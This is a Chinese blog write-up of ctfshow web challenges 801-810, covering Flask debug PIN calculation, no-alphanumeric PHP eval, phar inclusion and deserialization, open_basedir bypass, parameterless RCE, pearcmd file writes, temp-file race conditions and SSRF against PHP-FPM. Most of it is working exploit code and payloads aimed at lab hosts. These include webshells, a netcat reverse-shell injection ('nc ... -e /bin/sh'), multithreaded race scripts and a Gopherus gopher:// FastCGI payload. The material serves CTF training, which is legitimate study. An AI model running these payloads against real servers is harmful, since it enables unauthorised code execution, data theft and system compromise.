ctfshow web入门 常见姿势 Web801-Web810

Web801(flask算PIN)

非预期解

/file?filename=/flag

预期解 计算pin码

/file?filename=/etc/passwd

发现能查看 说明是root

先查MAC地址

/file?filename=/sys/class/net/eth0/address

02:42:ac:0c:b1:e2

再查machine-id

/file?filename=/proc/sys/kernel/random/boot_id

image-20250405150601094

/file?filename=/proc/self/cgroup

image-20250405150646341

225374fa-04bc-4346-9f39-48fa82829ca9849ded351bf3457d3ba183f88102b90cabc7985317b3721f646e0e913a24fe8d

import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
import typing as t
username='root'
app = Flask(__name__)
modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod=sys.modules.get(modname)
mod = getattr(mod, "__file__", None)

probably_public_bits = [
    username, #用户名
    modname,  #一般固定为flask.app
    getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
    '/usr/local/lib/python3.8/site-packages/flask/app.py',   #主程序(app.py)运行的绝对路径
]
print(probably_public_bits)
mac ='02:42:ac:0c:b1:e2'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
   mac,#mac地址十进制
 "225374fa-04bc-4346-9f39-48fa82829ca9849ded351bf3457d3ba183f88102b90cabc7985317b3721f646e0e913a24fe8d"
     ]
print(private_bits)
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

image-20250405150717251

image-20250405150732273

python3.8要用sha1 python3.6要用MD5
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)

web802(无字母数字命令执行)

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];

if(!preg_match('/[a-z]|[0-9]/i',$cmd)){
    eval($cmd);
}
<?php
$myfile = fopen("C:\\Users\\26387\\Desktop\\rce.txt", "w");
$contents="";
for ($i=1; $i < 256; $i++) { 
	for ($j=1; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z]|[0-9]/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    	}
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);?>
from sys import *

def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("C:\\Users\\26387\\Desktop\\rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)

fun="system"
cmd="cat flag.php"
print("function:"+action(fun))
print("cmd:"+action(cmd))

image-20250428232238721

image-20250428232256203

image-20250428232303869

Web803(phar文件包含)

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file.'.txt')){
        include $file.'.txt';
    }else{
        file_put_contents($file,$content);
    }
}

题目web目录下没有写权限,需要写到其他地方比如/tmp下

首先生成phar文件

<?php
$phar=new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt","<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>

image-20250428233804616

接着上传文件

import requests
url="http://6eda48f3-8082-442d-8823-c1cc2d7a2cdf.challenge.ctf.show/"
data1={'file':'/tmp/a.phar','content':open('C:\\Users\\26387\\Desktop\\shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar/a','content':'123','1':'system("cat f*");'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)

Web804(phar反序列化)

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


error_reporting(0);
highlight_file(__FILE__);

class hacker{
    public $code;
    public function __destruct(){
        eval($this->code);
    }
}

$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file)){
        unlink($file);
    }else{
        file_put_contents($file,$content);
    }
}

生成phar文件

<?php 
class hacker{
    public $code;
    public function __destruct(){
        eval($this->code);
    }
}
$a=new hacker();
$a->code="system('cat f*');";
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>

unlink触发反序列化

import requests  
url="http://438d535d-6030-47bf-964d-f1054ab03155.challenge.ctf.show/"
data1={'file':'/tmp/a.phar','content':open('C:\\Users\\26387\\Desktop\\shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar','content':'123'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)

Web805(open_basedir绕过)

<?php
error_reporting(0);
highlight_file(__FILE__);
eval($_POST[1]);

(小声bb,看到写了木马直接蚁剑连接,结果发现直接连上并绕过了,可以直接读取根目录的flag,qaq这是为什莫??)

image-20250502214538885

OK,在正式做这题之前,我们先了解一下open_basedir

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。

设置open_basedir=/var/www/html/,通过web访问服务器的用户就无法获取服务器上除了/var/www/html/这个目录以外的文件。
假设这时连接一个webshell,当webshell工具尝试遍历和读取其他目录时将会失败。

Bypass

方式1:利用 DirectoryIterator+glob://

DirectoryIterator 类提供了一个简单的界面来查看文件系统目录的内容。

DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件

<?php
$c = "glob:///*";
$a = new DirectoryIterator($c);
foreach($a as $f){
    echo($f->__toString().'<br>');
}
?>

image-20250502230154455

方式2:利用 opendir()+readdir()+glob://

opendir作用为打开目录句柄
readdir作用为从目录句柄中读取目录

<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
        echo $file."<br>";
    }
    closedir($b);
}
?>

image-20250502231012520

image-20250502231106035

只能Bypass open_basedir来列举根目录的文件,不能列举出其他非根目录和open_basedir指定的目录中的文件。

p神脚本

<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
    mkdir($paths[$i]);
    chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { 
    chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { 
    mkdir($name);
    chdir($name);
    $j++;
}
for ($i = 0; $i <= $j; $i++) { 
    chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

function delfile($deldir){
    if (@is_file($deldir)) {
        @chmod($deldir,0777);
        return @unlink($deldir);
    }else if(@is_dir($deldir)){
        if(($mydir = @opendir($deldir)) == NULL) return false;
        while(false !== ($file = @readdir($mydir)))
        {
            $name = File_Str($deldir.'/'.$file);
            if(($file!='.') && ($file!='..')){delfile($name);}
        } 
        @closedir($mydir);
        @chmod($deldir,0777);
        return @rmdir($deldir) ? true : false;
    }
}

function File_Str($string)
{
    return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randStr = '';
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
}

或者利用chdir()与ini_set()组合

image-20250502233359495

Web806(php无参RCE)

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

highlight_file(__FILE__);

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

[无参RCE攻防技巧-CSDN博客](https://blog.csdn.net/qq_45570082/article/details/106602261)

利用session_id

/?code=eval(hex2bin(session_id(session_start())));

image-20250503165246310

image-20250503165203590

但是发现session已存活

image-20250503165310057

无法改变Session_id,此方法失败。

利用get_defined_vars ()函数

get_defined_vars():返回由所有已定义变量所组成的数组

而get_defined_vars()返回的又是一个数组,我们能够通过php的一系列数组函数读取到该数组中任意我们想要的值

end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。

我们先current定位第一个get

/?code=var_dump(current(get_defined_vars()));&b=1

image-20250503170208564

对于next() end()等函数我们可以举例子利用看看

image-20250503170353376

image-20250503170407273

这里我们就用end()

/?code=var_dump(end(current(get_defined_vars())));&b=1

发现可以显示"1",那我们只需要前面套个eval进行命令执行

/?code=eval(end(current(get_defined_vars())));&b=system("cat /c*");

image-20250503170638427

或者

/?code=eval(end(current(get_defined_vars())));&b=system($_POST[a]);

post:
a=ls /

image-20250503170834356

利用getallheaders()

getallheaders返回当前请求的所有请求头信息

image-20250503172452631

image-20250503173855723

我这里注入点用的是UA头

/?code=eval(next(array_reverse(getallheaders()))); 

UA: system("cat /c*");

利用scandir()函数

获取当前目录文件

var_dump(scandir(getcwd())); 
var_dump(scandir(current(localeconv()));  
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));    //利用三角函数和floor ceil,这个是php7下能够成功

获取上级目录文件

var_dump(scandir(dirname(getcwd())));
var_dump(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));//这种方法理论上来说,每隔47秒才能成功执行一次
var_dump(scandir(chr(ceil(sqrt(cosh(tan(tan(tan(cosh(sinh(exp(chdir(next(scandir(pos(localeconv()))))))))))))))));
/?code=var_dump(scandir(dirname(dirname(dirname(getcwd())))));

image-20250503174349677

show_source(array_rand(array_flip(scandir(getcwd()))));//当前目录

show_source(array_rand(array_flip(scandir(dirname(dirname(dirname(getcwd())))))));//根目录

经过测试 发现能读取当前目录的文件内容,但是读不到根目录的内容(可能是我太菜了呜呜呜,有知道的师傅可以私信T我一下)

Web807(反弹shell)

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];

$schema = substr($url,0,8);

if($schema==="https://"){
    shell_exec("curl $url");
}

简单的反弹shell

直接上payload

/?url=https://;nc xxx.xxx.xxx.xxx:7777 -e /bin/sh

image-20250503191939557

Web808(卡临时文件包含)

<?php
error_reporting(0);
$file = $_GET['file'];
if(isset($file) && !preg_match("/input|data|phar|log/i",$file)){
    include $file;
}else{
    show_source(__FILE__);
    print_r(scandir("/tmp"));
}

代码中提示了我们/tmp,我们上传的时候,会默认先保存在/tmp目录下。既然这样,我们先构造一个文件上传得表单

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
    <form action="http://2e68bb6b-f831-4af1-8c06-a9c535f89d67.challenge.ctf.show/" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit" value="提交">
    </form>
</body>
</html>

抓包上传一句话木马

image-20250504142837962

这时候去看我们原题发现是没有保存在/tmp目录下的,我们必须再去上传,报错一下

/?file=php://filter/string.strip_tags/resource=/etc/passwd

image-20250504142917587

再去看原题

image-20250504142954146

就存在了,我们这时候只需要包含一下这个文件就行

/?file=/tmp/xxx

然后进行命令执行即可

顺便贴一下yu师傅的脚本(yu师傅太厉害了,吹爆)

#author:yu22x
import requests 
import re 
url = "http://e604acc2-f6a6-4cdd-b4c3-59fd0e7a27d2.challenge.ctf.show/"
file={
	'file':'<?php system("cat /*");?>'
}
requests.post(url+'?file=php://filter/string.strip_tags/resource=/etc/passwd',files=file)
r=requests.get(url)
#print(r.text)
tmp=re.findall('=> (php.*?)\\n',r.text,re.S)[-1]
r=requests.get(url+'?file=/tmp/'+tmp)
print(r.text)

也可以用session文件上传也可以

import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/"
url2='http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/?file=/tmp/sess_yu22x'
data1={
    'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
    '1':'echo 11123;system("cat /*");',
}
file={
    'file':'1'
}
cookies={
    'PHPSESSID': sess
}
def write():
    while True:
        r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
    while True:
        r = session.post(url2,data=data2)
        if '11123' in r.text:
            print(r.text)

if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write).start()
        for i in range(1,30):
            threading.Thread(target=read).start()
    event.set()

Web809(pear文件包含/RCE)

<?php
error_reporting(0);
$file = $_GET['file'];
if(isset($file) && !preg_match("/input|data|phar|log|filter/i",$file)){
    include $file;
}else{
    show_source(__FILE__);
    if(isset($_GET['info'])){
        phpinfo();
    }
}

0x00

在正式做题前,我们可以先看一个Docker PHP裸文件本地包含

//1.php
<?php
include $_REQUEST['file'];

docker run -d --name web -p 8080:80 -v $(pwd):/var/www/html php:7.4-apache

image-20250614234325792

在实战中,特别是黑盒的情况下,功能点也少,找不到可以被包含的文件。通常我们会去尝试包含

一些系统日志、web日志等系统文件。

但是,在CTF中我们一般是在docker环境下

  • 容器只会运行Apache,所以没有第三方软件日志
  • Web日志被重定向到了/dev/stdout、/dev/stderr

image-20250614234633143

此时包含这些Web日志就会出现错误

image-20250615140759119

所以,利用日志包含来getshell的方法就无法进行了

0x01 phpinfo与条件竞争

第二种,就是phpinfo与条件竞争

我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务器后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉。

我们可以包含这个临时文件,最后完成getshell操作。但这里面暗藏了一个大坑就是,临时文件的文件名我们是不知道的。

所以这个利用的条件就是,需要有一个地方能获取到文件名,例如phpinfo。phpinfo页面中会输出这次请求的所有信息,包括$_FILES变量的值,其中包含完整文件名。

但第二个难点就是,即使我们能够在目标网站上找到一个phpinfo页面并读取临时文件名,这个文件名也是这一次请求里的临时文件,在这次请求结束后这个临时文件就会被清掉,并不能在后面的文件包含请求中使用。

所以此时需要利用到条件竞争,我们用两个以上的线程来利用,其中一个发送上传包给phpinfo页面,并读取返回结果,找到临时文件名;第二个线程拿到这个文件名后马上进行包含利用。

这是一个很理想的状态,现实情况下我们需要借助下面这些方法来提高成功率:

  • 使用大量线程来进行上述操作,来让包含操作尽可能早于临时文件被删除
  • 如果目标环境开启了output_buffering这个配置,那么phpinfo的页面将会以流式,即chunked编码的方式返回。这样,我们可以不必等到phpinfo完全显示完成时就能够读取到临时文件名,这样成功率会更高
  • 我们可以在请求头、query string里插入大量垃圾字符来使phpinfo页面更大,返回的时间更久,这样临时文件保存的时间更长。但这个方法在不开启output_buffering时是没有影响的。

我们可以测试一下(我的测试环境是win,但效果是一样的我们可以获取到tmp_name)

image-20250615143254318

0x02 pearcmd

如果开启了register_argc_argv这个配置,我们在php中传入的query-string会被赋值给$_SERVER['argv']。而pear可以通过readPHPArgv()函数获得我们传入的$_SERVER['argv'],需要注意的是这个数字中的值是通过传进来内容中的+来进行分割的

public static function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {
        if (!@is_array($_SERVER['argv'])) {
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                return PEAR::raiseError("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}

在Docker环境中,pcel和pear都会默认安装

image-20250615144049496

使用刚刚我们的demo

/1.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?phpinfo()?>+/tmp/hello.php
//这里使用bp发包

image-20250615144427074

image-20250615144513864

0x03

回到题目,直接给我们了phpinfo()

image-20250615145126770

可以看到是开起了register_argc_argv

我们直接用payload打打看

/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/1.txt
    
    
/?file=/tmp/1.txt
cmd=system("cat /f*");

image-20250615145758235

image-20250615145944888

参考链接

Docker PHP裸文件本地包含综述 | 离别歌

Web810(SSRF打PHP-F(FastCGI)PM)

<?php
error_reporting(0);
highlight_file(__FILE__);

$url=$_GET['url'];
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,0);
$res=curl_exec($ch);
curl_close($ch);
python2 gopherus.py --exploit fastcgi

image-20250802221049036

补充一点:

"我们为什么要输入一个index.php"

FastCGI 协议在处理请求时,需要知道要 “执行” 哪个 PHP 脚本文件。为了让构造的 FastCGI 请求能被服务器正常识别、处理,得指定一个服务器上实际存在的 PHP 文件路径 。因为只有存在的文件,服务器才会去调度 PHP - FPM 等组件解析执行,这样后续通过 FastCGI 注入恶意指令(比如执行系统命令 `cat /flagfile` )的操作,才有可能在对应上下文里生效。
    
要是不清楚目标具体有哪些 PHP 文件,按提示直接回车用工具默认的文件(一般也是常见的如 index.php 这类)就行,目的就是让 FastCGI 请求能关联到真实存在的脚本,让攻击流程能往下走,最终借助这个 “合法” 脚本的执行上下文,去执行我们注入的恶意命令(如读取 flag 文件 )。

再对_后的进行url编码

image-20250802221103908

?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH65%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500A%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/flagfile%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
posted @ 2025-08-02 22:29  dynasty_chenzi  阅读(71)  评论(0)    收藏  举报
返回顶端